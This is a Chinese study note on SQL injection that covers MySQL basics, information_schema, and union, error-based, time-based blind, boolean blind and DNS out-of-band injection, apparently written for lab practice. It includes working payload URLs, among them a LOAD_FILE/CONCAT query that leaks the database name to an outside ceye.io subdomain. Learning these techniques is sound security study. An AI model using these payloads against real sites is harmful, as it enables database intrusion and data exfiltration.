sql注入知识点总结
mysql基础知识
- 删除数据库 drop database 库名;
- 创建数据库 create database 库名;
- php中使用sql语句来创建
- $sql = 'create database database_name';
- $retval = mysqli_query($coon,$sql);
- 选择数据库 use database_name;
- php中使用 mysqli_select_db($conn,'database_name')
- 创建数据表
- create table table_name(column1 datatype, column2 datatype);
- 插入数据
- 使用insert into table_name(column1,column2,column3,...) values(value1,value2,value3,...);
- 如果数据是字符型 需要用单引号或者双引号
- 使用select * from table_name; 查询
- 使用 rename table table_name to newtable_name 来修改数据表的名称
- 使用 alter table table_name character set utf8 来修改字符级
- 使用 alter table table_name add column_name 数据类型 来增加一列内容
- 使用update table_name set column_name = xx 来修改所有该列名的值 可以通过 where xx = xx 限定
- alter table 表名 drop 列名 删除列
- delete from 表名 where xx=xx 删除行
- delete from 表名 删除表
- substring(主体,1,30)表示从1看到30
- concat(1,2) 表示拼接
- group_concat() 同一行显示
- as a 表示别名为a as前面是某些语句 a表示查询的结果的别名
- count(*) 汇总函数
- rand() 随即返回0~1之间的小数
- floor() 小数向下取整数 向上取整数用ceiling()
- concat_was() 将括号内的数据用第一个字段连接起来
- group by 分组
- limit 用来显示指定行数
information_schema
- 这是一个元数据库 其中包含很多表 比如下面三个 打开某个表后 就能看见里面的字段有什么
- 其中包含一些表
- SCHEMATA: 包含关于数据库实例的信息,如数据库名称、所有者等。
- TABLES: 包含关于数据库中表的信息,如表名称、所属数据库、表类型等。
- COLUMNS: 包含关于表中列的信息,如列名称、数据类型、是否为主键等。
查询注入模块
字符型与数字型的区分以及闭合方式的区分
数字型注入
-
可以使用 id = 1 和id = 2-1来看结果是不是相同
-
再用id = 3-1 等查看(如果2不在数据库中则返回NULL)
字符型注入 -
例如 username= 'or 1=1 #
-
实际执行的语句为 select id from users where username=' 'or 1=1 #'
-
因为username=空返回false 但1 =1 为true 所以是true
-
所以会返回所有结果集
联合查询
union注入
- union是一个sql关键字,union可以将两个select语句的结果合并到一个结果集中,但要求两个select语句拥有相同的列数。
- 例如 select username from users where id=0 union select password from users
- 用union查询的时候 必须保证前后的列数相等 如果不等可以在select 后面随意加,x
- 用 group by order by 来判断列数
- limit 限制输出的数量 比如 加上 limit 1,3 表示从第一行开始显示3行
- group_concat 多行合并为一行输出回显
报错注入
- 利用报错之 extractvalue报错注入
- http://sql/Less-5/?id=1' and 1=extractvalue(2,concat(0x7e,(select database()))) --+
- http://sql/Less-5/?id=1' and 1=extractvalue(2,concat(0x7e,(select group_concat(username,password) from users))) --+
- updatexml updatexml(1,2,3) 其中2写payload
- floor
时间盲注
- username=' or sleep(1) #
- 会产生一秒左右延迟
- 使用if函数进行条件判断 当if第一个参数为真时进行延时
- 输入username=' or if(1=1,sleep(1),1) #
- 当第一个参数为真时执行第二个参数 为假时执行第三个参数
- 可以用substr函数来判断真假 通过有无延迟判断是否重合
布尔盲注
- username=' or substr(password, ,1)='1' #
- substr 是一个字符串截取函数 第一个参数是要截取的字符串 第二个是截取开始的位置 第三个是截取长度
- 通过burp或者python脚本进行盲注
dns注入
- 使用一些第三方平台 平台会给我们子域名 然后我们用load_file() 命令 去读取子域名 会进行dns解析 然后第三方平台会记录解析行为 然后用concat拼接上payload 最后第三方平台查看回显
- http://sql/Less-9/?id=1' and (SELECT LOAD_FILE(CONCAT('\\',(SELECT database()),'.k3dxl3.ceye.io\test.txt'))) --+